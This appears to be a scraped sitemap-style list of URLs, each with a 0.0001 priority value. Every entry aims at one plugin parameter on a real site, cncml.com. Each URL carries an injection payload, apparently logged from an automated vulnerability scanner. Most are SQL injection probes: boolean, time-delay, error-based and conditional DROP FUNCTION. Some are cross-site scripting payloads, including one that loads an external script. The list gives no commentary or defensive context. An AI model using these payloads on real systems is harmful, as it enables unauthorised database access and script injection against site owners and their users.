http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(64=64)%20THEN%20'blueidea_qqgroup:qqgroup'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(91=91)%20THEN%200x626C7565696465615F717167726F75703A717167726F7570%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%2527 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%2527%20AND%2013=98%20%23 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%2527%20AND%2019=19%20%23 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%27%2b(SELECT+1+FROM+(SELECT+SLEEP(5))A)%2b%27 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%5B%5D 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%5C%22 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%5C' 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%bf%27 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup&&&&&&&&&&&&&&&&&&& 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup' 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20AND%20'5D'='Lp 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20AND%20'7G'='gc 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20AND%20'In'%20LIKE%20'In 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20AND%20'OK'%20LIKE%20'gm 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20AND%20'YC'='YC 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20AND%20'cT'='UN 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20AND%20'eX'='eX 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20AND%20'ia'='ia 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20AND%20PG_SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20AND%20SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20OR%20'hT'='hT'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(13=18)%20THEN%200x626C7565696465615F717167726F75703A717167726F7570%20ELSE%200x28%20END))%20AND%20'kU'='kU 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(35=35)%20THEN%20'blueidea_qqgroup:qqgroup'%20ELSE%200x28%20END))%20AND%20'Wk'='Wk 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(68=68)%20THEN%200x626C7565696465615F717167726F75703A717167726F7570%20ELSE%200x28%20END))%20AND%20's6'='s6 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(95=65)%20THEN%20'blueidea_qqgroup:qqgroup'%20ELSE%200x28%20END))%20AND%20'Kc'='Kc 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%22 0.0003 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup')%20AND%20('Dh'%20LIKE%20'Dh 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup')%20AND%20('hW'%20LIKE%20'NU 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup')%20AND%2018=95%20AND%20('OT'='OT 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup')%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20('TnT'='TnT 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup')%20AND%2043=43%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup')%20AND%2056=56%20AND%20('aT'='aT 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup')%20AND%2082=28%20AND%20('Uv'='Uv 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup')%20AND%20SLEEP(5)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup')%20OR%2014=14%20AND%20('Zk'='Zk 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(16=72)%20THEN%200x626C7565696465615F717167726F75703A717167726F7570%20ELSE%200x28%20END))%20AND%20('M9'='M9 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(21=21)%20THEN%20'blueidea_qqgroup:qqgroup'%20ELSE%200x28%20END))%20AND%20('4E'='4E 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(34=34)%20THEN%200x626C7565696465615F717167726F75703A717167726F7570%20ELSE%200x28%20END))%20AND%20('f3'='f3 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(97=76)%20THEN%20'blueidea_qqgroup:qqgroup'%20ELSE%200x28%20END))%20AND%20('0m'='0m 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup';%20IF(19=14)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup';%20IF(54=54)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup)%20AND%20SLEEP(5)%20AND%20(9=9 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(56=56)%20THEN%200x626C7565696465615F717167726F75703A717167726F7570%20ELSE%200x28%20END))%20AND%20(96=96 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(61=18)%20THEN%200x626C7565696465615F717167726F75703A717167726F7570%20ELSE%200x28%20END))%20AND%20(61=61 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup);%20IF(31=87)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup);%20IF(85=85)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup,(SELECT%20(CASE%20WHEN%20(11=11)%20THEN%200x626C7565696465615F717167726F75703A717167726F7570%20ELSE%2011*(SELECT%2011%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup,(SELECT%20(CASE%20WHEN%20(18=11)%20THEN%200x626C7565696465615F717167726F75703A717167726F7570%20ELSE%2018*(SELECT%2018%20FROM%20mysql.db)%20END)) 0.0001 